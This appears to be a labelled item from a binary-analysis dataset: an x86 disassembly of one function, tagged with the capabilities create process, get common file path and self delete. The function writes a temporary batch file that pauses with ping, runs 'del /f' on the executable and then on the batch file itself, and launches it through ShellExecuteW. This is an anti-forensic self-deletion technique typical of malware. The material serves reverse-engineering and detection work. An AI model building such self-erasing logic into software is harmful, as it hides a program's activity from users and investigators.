Function at 0x406b00
Capabilities:
Create process on windows
Get common file path
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
lea eax, [ebp - 0x400]
push eax
push edi
mov edi, eax
xor eax, eax
mov ecx, 0x100
rep stosd dword es:[edi], eax
pop edi
pop eax
mov dword [ebp - 0x40c], 0
mov dword [ebp - 0x408], 0
mov dword [ebp - 0x404], 0
mov dword [ebp - 0x418], 0
mov dword [ebp - 0x414], 0
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x41c], 0
push 0xffffffffffffffff
push pe_nt_image_headers32
call fcn.004096a0
push eax
push 0x200
lea eax, [ebp - 0x400]
push eax
call fcn.004084e0
lea eax, [ebp - 0x400]
push eax
push pe_nt_image_headers32
call sub.KERNEL32.dll_GetTempPathW
push 0
lea eax, [ebp - 0x400]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x40c]
push eax
call fcn.00408730
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x40c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x424]
push eax
call fcn.004082d0
push 0
push 0xffffffffffffffff
push 5
call fcn.004020e0
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x424]
push eax
call fcn.00409f20
push 0
push 5
push str..bat
push 0xffffffffffffffff
lea eax, [ebp - 0x424]
push eax
call fcn.00409f20
push 0xc
push str._echo_off_r_n
push 0x200
lea eax, [ebp - 0x400]
push eax
call fcn.004084e0
push 3
push 0x4122b0
push 0x14
push str.ping_127.0.0.1__n_2
lea eax, [ebp - 0x400]
push eax
call fcn.004094c0
mov dword [ebp - 0x428], eax
push dword [ebp - 0x428]
call fcn.004094c0
mov dword [ebp - 0x42c], eax
push dword [ebp - 0x42c]
push 0x200
lea eax, [ebp - 0x400]
push eax
call fcn.0040a590
push dword [ebp - 0x42c]
call fcn.00407ce0
push dword [ebp - 0x428]
call fcn.00407ce0
push 3
push 0x4122b0
push 2
push 0x4122dc
push 0xffffffffffffffff
push dword [ebp + 8]
push 2
push 0x4122dc
push 8
push str.del__f
lea eax, [ebp - 0x400]
push eax
call fcn.004094c0
mov dword [ebp - 0x430], eax
push dword [ebp - 0x430]
call fcn.004094c0
mov dword [ebp - 0x434], eax
push dword [ebp - 0x434]
call fcn.004094c0
mov dword [ebp - 0x438], eax
push dword [ebp - 0x438]
call fcn.004094c0
mov dword [ebp - 0x43c], eax
push dword [ebp - 0x43c]
call fcn.004094c0
mov dword [ebp - 0x440], eax
push dword [ebp - 0x440]
push 0x200
lea eax, [ebp - 0x400]
push eax
call fcn.0040a590
push dword [ebp - 0x440]
call fcn.00407ce0
push dword [ebp - 0x43c]
call fcn.00407ce0
push dword [ebp - 0x438]
call fcn.00407ce0
push dword [ebp - 0x434]
call fcn.00407ce0
push dword [ebp - 0x430]
call fcn.00407ce0
push 3
push 0x4122b0
push 2
push 0x4122dc
push 0xffffffffffffffff
lea eax, [ebp - 0x424]
push eax
push 2
push 0x4122dc
push 8
push str.del__f
lea eax, [ebp - 0x400]
push eax
call fcn.004094c0
mov dword [ebp - 0x444], eax
push dword [ebp - 0x444]
call fcn.004094c0
mov dword [ebp - 0x448], eax
push dword [ebp - 0x448]
call fcn.004094c0
mov dword [ebp - 0x44c], eax
push dword [ebp - 0x44c]
call fcn.004094c0
mov dword [ebp - 0x450], eax
push dword [ebp - 0x450]
call fcn.004094c0
mov dword [ebp - 0x454], eax
push dword [ebp - 0x454]
push 0x200
lea eax, [ebp - 0x400]
push eax
call fcn.0040a590
push dword [ebp - 0x454]
call fcn.00407ce0
push dword [ebp - 0x450]
call fcn.00407ce0
push dword [ebp - 0x44c]
call fcn.00407ce0
push dword [ebp - 0x448]
call fcn.00407ce0
push dword [ebp - 0x444]
call fcn.00407ce0
push 3
push 0x4122b0
push 4
push 0x4122e0
lea eax, [ebp - 0x400]
push eax
call fcn.004094c0
mov dword [ebp - 0x458], eax
push dword [ebp - 0x458]
call fcn.004094c0
mov dword [ebp - 0x45c], eax
push dword [ebp - 0x45c]
push 0x200
lea eax, [ebp - 0x400]
push eax
call fcn.0040a590
push dword [ebp - 0x45c]
call fcn.00407ce0
push dword [ebp - 0x458]
call fcn.00407ce0
push 0
lea eax, [ebp - 0x400]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x418]
push eax
call fcn.00408730
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x418]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x474]
push eax
call fcn.004082d0
lea eax, [ebp - 0x474]
push eax
mov dword [ebp - 0x468], 0
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x460], 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x424]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x468]
push eax
call fcn.004082d0
lea eax, [ebp - 0x468]
push eax
call fcn.004048f0
lea eax, [ebp - 0x474]
push eax
call fcn.004093e0
lea eax, [ebp - 0x468]
push eax
call fcn.004093e0
push 0
push 0
push 0
push dword [ebp - 0x424]
call fcn.00407c80
mov dword [ebp - 0x478], eax
push dword [ebp - 0x478]
push str.open
push 0
call sub.SHELL32.dll_ShellExecuteW
push dword [ebp - 0x478]
call fcn.00407ce0
lea eax, [ebp - 0x424]
push eax
call fcn.004093e0
lea eax, [ebp - 0x418]
push eax
call fcn.004093e0
lea eax, [ebp - 0x40c]
push eax
call fcn.004093e0
mov esp, ebp
pop ebp
ret 4